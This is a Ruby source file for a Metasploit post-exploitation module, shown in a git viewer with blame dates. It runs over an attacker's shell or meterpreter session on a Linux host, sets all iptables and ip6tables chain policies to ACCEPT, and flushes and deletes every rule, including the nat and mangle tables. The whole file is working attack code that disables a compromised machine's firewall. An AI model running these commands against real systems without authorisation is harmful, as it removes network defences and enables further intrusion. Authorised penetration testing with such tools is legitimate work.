Files
metasploit-gs/modules/post/linux/manage/iptables_removal.rb
T

53 lines
1.6 KiB
Ruby
Raw Normal View History

2018-07-12 14:16:22 +02:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::System
def initialize
super(
'Name' => 'IPTABLES rules removal',
'Description' => %q{
This module will be applied on a session connected to a shell. It will remove all IPTABLES rules.
},
'Author' => 'Alberto Rafael Rodriguez Iglesias <albertocysec[at]gmail.com>',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
2019-01-24 11:22:19 -06:00
'SessionTypes' => ['shell', 'meterpreter']
2018-07-12 14:16:22 +02:00
)
end
def run
2018-08-14 18:24:15 +02:00
if command_exists?("iptables")
print_good("Deleting IPTABLES rules...")
cmd_exec("iptables -P INPUT ACCEPT")
cmd_exec("iptables -P FORWARD ACCEPT")
cmd_exec("iptables -P OUTPUT ACCEPT")
cmd_exec("iptables -t nat -F")
cmd_exec("iptables -t mangle -F")
cmd_exec("iptables -F")
cmd_exec("iptables -X")
print_good("iptables rules successfully executed")
else
print_line("iptables rules could not be executed")
end
if command_exists?("ip6tables")
print_good("Deleting IP6TABLES rules...")
cmd_exec("ip6tables -P INPUT ACCEPT")
cmd_exec("ip6tables -P FORWARD ACCEPT")
cmd_exec("ip6tables -P OUTPUT ACCEPT")
cmd_exec("ip6tables -t nat -F")
2018-08-14 19:21:43 +02:00
cmd_exec("ip6tables -t mangle -F")
2018-08-14 18:24:15 +02:00
cmd_exec("ip6tables -F")
cmd_exec("ip6tables -X")
print_good("ip6tables rules successfully executed")
else
print_line("ip6tables rules could not be executed")
end
2018-07-12 14:16:22 +02:00
end
end